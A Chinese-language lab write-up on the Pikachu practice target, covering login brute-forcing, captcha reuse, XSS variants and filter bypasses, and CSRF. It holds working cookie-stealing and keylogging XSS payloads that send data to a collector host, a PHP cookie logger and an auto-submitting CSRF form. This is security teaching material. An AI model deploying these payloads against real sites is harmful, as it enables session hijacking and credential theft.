暴力破解
在測試過程中經常會遇到類似的登錄接口

隨便輸入一個用戶名密碼,輸入正確的驗證碼,提示用戶名或密碼不存在

通過猜測嘗試登錄,這個猜測的過程就是暴力破解,猜當然也是有技巧也有限制的
確定范圍
測試時,應首先確定被測試對象的范圍
如驗證碼暴破:它的范圍是4位或6位數字或字母組成的,根據具體場景有所不同,登錄時手機或郵箱會收到這種驗證碼驗證登錄
但是一些沒有具體范圍的只能盡量縮小范圍,再嘗試用使用頻率較高的值進行暴破,或者結合目標信息進行組合暴破,就是弱口令
表單弱口令
所謂弱口令,就是設置的比較簡單,比如nordpass公布的2021年最常用的top200密碼

最常用的依然是123456這種非常容易猜測的密碼,woaini,呵呵,147258369是9鍵數字鍵盤縱向密碼,zxcvbnm,鍵盤最下一排字母,都是非常方便記憶的
而一些開發測試人員,網站管理員在使用某些程序時,會設置一些類似test,admin,user......等比較方便通用的用戶名或者使用程序默認的用戶名,比如我的數據庫用戶名為root就是默認的
burp測試
burpsuite抓包,設置兩個變量,選擇 Cluster bomb 模式,適用於用戶名+密碼破解

配置字典
set 1對應用戶名,set 2對應密碼 ,runtime file是選擇指定文件,文件名是英文的

還有一個非常好的功能,就是結果匹配

因為登錄成功會返回login success,我們在結果中匹配就可

登錄成功

但是可以看到這里一共有3個用戶

我們只找到兩個,使用網站相關的用戶名也是比較常見的一種方式,比如公司縮寫+年份,學校縮寫+學號......這個看似只能靠經驗了,我覺得在測試過程中可能還是大海撈針,或者一些軟柿子系統或者沒人維護才會有這樣的漏洞
不喜歡很討厭很煩
驗證碼暴破
on-server 這個流程是后端生成驗證碼

showvcode.php
session_start(); //開啟session
include_once 'function.php'; //引用function.php 生成驗證碼圖片
$_SESSION['vcode']=vcodex(); //驗證碼賦值
將我們輸入的值與 $_SESSION['vcode'] 進行對比,這里還把字符轉為小寫再比對
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "<p class='notice'>驗證碼輸入錯誤哦!</p>";
}else{登錄操作}
//strtolower()轉為小寫
但是缺少了一個操作,導致驗證碼可以暴破
登錄抓包,重放請求,驗證碼正確且不變,多次嘗試更改用戶名密碼都不顯示驗證碼錯誤

這里我們繼續暴破就可以了,要注意如果沒有攔截請求重發,而是放包后重發,驗證碼已經被刷新,需保持一致

那么這里的防護措施也很簡單,就是在驗證過后,將vcode的值清空,做到一次一密,正常session的過期時間是24分鍾,在這一段時間內驗證碼都是有效的
//應該在驗證后,銷毀該變量
unset($_SESSION['vcode']);
手機接收的驗證碼並不需要一驗一換,很多都是設置了幾分鍾的失效時間的

這時就需要一種次數驗證機制了,正常人手再抖眼再歪也不會輸入幾十上百次驗證碼
js前端驗證碼
順便說一下on-client的驗證碼繞過,一切前端的驗證都是紙老虎,在js里生成驗證碼,在js里驗證

這些都是可控的,可繞過的,在burp里抓包,隨意修改,甚至為空都不會進行驗證,因為在burp里不加載js

當然暴力破解不限於用戶名密碼的破解,像是網站路徑,后台,訂單號,服務,一切能猜的都可以猜,好的字典是最重要的。這里暫時沒辦法實驗,就不說了
token?
通過生成隨機序列標記每一次請求,通過表單發送,如果token值不匹配,則無法登錄

輸出到頁面上了,我們很容易獲取,並不能防止被暴破

嘗試寫腳本
發現需要cookie驗證,因為必須是同一個session的token,服務端就是通過session id區分不同會話

session id不同則失效

XSS
所謂的xss就是輸入的數據-->在前端當成js代碼執行
反射型xss
js我們前兩篇文章已經接觸過一些了,一種就是包裹在<script></script>
標簽中的javascript代碼,嘗試輸入

它是在<p></p>
標簽中直接輸出的,完全可以執行js代碼,看下源碼
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
<form method="get">"message"參數<form>
<?php echo $html;?>
修改一下最大輸入長度,彈個窗


彈窗字符串,發現雙引號被轉義了

既然轉義了,就使用其他等效的方式,比如使用函數將Unicode轉成字符串
<script>alert(String.fromCharCode(88,83,83))</script>//大寫
<script>alert(String.fromCharCode(120,115,115))</script>//小寫

反射型xss就是構造一次執行一次的,刷新了就沒了
這里是通過get參數傳遞,點擊一次url鏈接就可以執行一次
xss_reflected_get.php?message=%3Cscript%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2Fscript%3E&submit=submit
post傳參也一樣,重點是參數怎么在頁面源代碼中顯示
存儲型xss
顧名思義,就是存儲在html源代碼中了,每次加載頁面都會執行

DOM型xss
輸入<script></script>
標簽,發現標簽被輸出到<a>
標簽的href屬性中了

我發現有js基礎看這個就是很順理成章的東西,建議大家都去學基礎知識
閉合一下就完事了
輸入 #' onclick="alert('xss')">
正常彈窗

有一個地方要注意,閉合href
為什么用單引號呢?當然因為源碼href
屬性是單引號包裹的,單雙引號是必須要匹配的,雖然 f12顯示的雙引號,但是用雙引號閉合真的不行
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
只要是成對匹配,單引號雙引號都可以,修改一下源碼的單雙引號,測試


為什么用onclick
事件屬性,因為加入<script>
需要重新加載頁面才能執行,反射型在url,存儲型在源碼,這個一刷新就沒了
xss釣魚
get
釣魚的原理也很簡單,就是在有漏洞的頁面請求我們惡意站點的鏈接,附帶執行js代碼將自己的信息全部發過來
把cookie當作參數通過url傳給我們的頁面,然后將結果保存
payload:<script>document.location="http://pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>
cookie.php,除了獲取cookie還會獲取一些其他數據,都是瀏覽器會自動填充的,然后重定向
現在登錄網站除了cookie,還會有很多其它參數,一般是服務器下發或者js生成,獲取可能需要逆向,留待以后解決
//獲取一些數據 主要是cookie
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://pikachu/index.php");//重定向到一個可信的網站
失敗了,這里也對引號做了轉義(為什么和視頻里不一樣?)

沒關系,我們繼續轉換編碼,將字符串轉為unicode編碼,還是剛才講的那個函數
//String.fromCharCode()和charCodeAt()是互相轉換的函數
var str='http://pikachu/pkxss/xcookie/cookie.php?cookie=';
const arr=[];
for(var i=0;i<str.length;i++){
arr.push(str[i].charCodeAt())
}
console.log(arr)
新的payload
<script>document.location=(String.fromCharCode(104,116,116,112,58,47,47,112,105,107,97,99,104,117,47,112,107,120,115,115,47,120,99,111,111,107,105,101,47,99,111,111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie);</script>
成功獲取cookie

我們可以把這個超長鏈接發送給別人,受害者點擊之后

小魚就上鈎了,這里的cookie還是pikachu的cookie

post
點擊post.html頁面,在頁面加載完之后會通過click函數自動點擊表單進行提交,其他的都一樣(后面遇到問題沒有成功的可以重啟瀏覽器,清除緩存,重啟phpstudy,甚至重啟電腦)
window.onload = function() {
document.getElementById("postsubmit").click();
}
<form><input id="postsubmit" type="submit" name="submit" value="submit" /></form>

value里的js代碼並沒有被提前解析

基於basic認證
很簡單,訪問惡意鏈接,會返回一個登錄認證框,直接輸入用戶名密碼發給攻擊者
不出所料,同樣過濾了引號,轉碼也行不通
但是我們可以不輸入引號,瀏覽器會自動給我們加上,可能這不是必須的吧

點擊提交,成功彈窗

輸入用戶名密碼......失敗,又是好一頓測試和百度,發現輸入的數據是經過base64加密傳輸的,也就是basic后的字符串


然后php會有幾個特定的變量來接收他們,但是並沒有接收到參數,只會無限彈窗,提交完又彈出一個...又彈出一個...改了幾個php版本也沒什么用
參照網上修改了.htaccess文件,繼續失敗,輸出變量是可以正常輸出的

直接請求鏈接也是可以成功接收的
....結果把源碼這塊的自動換行改為一行.....就成功了(我的vscode沒設置自動換行,可能格式不對,總之,能用就萬歲!)

當然,重中之重,htaccess文件也必須要設置,支持AUTHORIZATION認證
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
</IfModule>
見證奇跡的時刻

成功

......但是為什么會是兩個請求??!!如果遇到同樣問題的同學可以自行解決,我累了,多次刷新也會正常返回,不需要再次輸入,猜想是該session沒有過期

鍵盤記錄
跨域請求

例外:限制太多加大了開發難度,某些標簽加載特定資源不受限制
<script src=""></script> //加載js
<img src=""> //加載圖片
<link hreef=""> //加載css
<iframe src=""> //任意資源
為了演示跨域請求,我們新建一個pkxss后台
本機IP:10.64.16.112
pkxss:192.168.188.133
在有xss漏洞的頁面,調用我們的js文件

引入js文件執行
<script src=http://192.168.188.133/rkeypress/rk.js></script>
每敲一下按鍵都會發送一個請求,但是都失敗了,因為同源策略?

在rk.js,我們通過ajax發送數據

只要設置rkserver允許跨域訪問即可

再次輸入

盲打-針對其他用戶
利用原理:通過js發送數據給php頁面

管理員/用戶查看這個頁面點擊鍵盤就會發送給后端

成功

基本的利用一是引用遠程js腳本,收集用戶數據,發送給后端php文件處理,二是直接插入js腳本發送用戶數據給后端,都可在url中,標簽內,屬性中,表單里幾種,都是差不多的
XSS過濾繞過
輸入-->前端js過濾-->后端程序正則過濾&waf等-->輸出
當我們的輸入被后端程序過濾時,我們一般也是嘗試不同輸入來判斷后端使用了什么方法
正則
舉例:正則過濾 (正則后面會安排) <script>
標簽
<!-- 只過濾小寫標簽可以大小寫繞過 -->
<sCRiPt>alert(111)</SCRIpt>
<!-- <script>被替換為空格可以雙寫繞過 -->
<scr<script>ipt>alert(111)</sc</script>ript>
我不太清楚教程這里的使用注釋干擾是什么意思
因為<script>
標簽一部分會被當成字符串輸出

編碼
編碼繞過:瀏覽器在解析html時,會對文檔進行實體編碼的解碼
<img src=x onerror=alert("xss")>
<img src=x onerror=alert("xss")>

不要把img標簽和屬性也編碼,因為html先根據標簽構建dom樹然后解碼,如果標簽被編碼,都會被轉換為字符串
注:實體編碼有實體名稱和實體編號兩種

關於htmlspecialchars()
ENT_COMPAT -默認 僅編碼雙引號
ENT_QUOTES -編碼雙引號和單引號
ENT_NOQUOTES -不編碼任何引號
可能存在設置問題導致單引號沒有被過濾
javascript偽協議

會將冒號后的代碼當作js代碼執行

在a標簽中href屬性中輸出,當我們點擊鏈接,請求自然會執行代碼
懂了這個原理,我們可以構造幾個這樣的語句
<a href="javascript:alert('test');">?</a>
<img src=x onerror="javascript:alert('test2');" >!!</a>
<img src=x onclick="javascript:alert('test3');"></a>

補充說明
在js中輸出代碼,也是構造閉合並插入語句,<script>
標簽內的代碼不會進行html實體編碼解碼,而是對特殊字符進行轉義。
CSRF
跨站請求偽造,先說請求偽造,比如我們要修改敏感信息,如果直接通過GET請求發送,如下

cookie是瀏覽器自動發送的,所以任何人輸入這個url,都可以將自己的信息修改
加入token進行身份驗證

為什么可以防御csrf?

如果請求頁面,會下發一個token,用戶修改信息,將下發的token一並發送,請求成功
攻擊者將帶有token的請求發送給受害者,受害者點擊鏈接,請求頁面,token會更新,和當前會話不匹配,不會請求成功
post請求則和之前xss_post一樣,偽造表單自動提交

一個小技巧,復制html代碼,按F2

CTRL+C+V
<html>
<head>
<!-- 頁面加載完自動點擊表單提交 -->
<script>
window.onload = function() {
document.getElementById("submit").click();
}
</script>
</head>
<body>
<!-- 表單-->
<form method="post" action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="text" name="sex" value="girl">
<input class="phonenum" type="text" name="phonenum" value="12345678922">
<input class="add" type="text" name="add" value="csrf后的haha">
<input class="email" type="text" name="email" value="lucy@pikachu.com">
<input id="submit" type="submit" name="submit" value="submit">
</form>
</body>
</html>
點擊鏈接,成功修改

csrf是借用戶之手執行諸如注銷賬戶,修改敏感信息等操作
xss是通過js盜取用戶敏感信息,獲取密碼cookie進一步盜取賬號等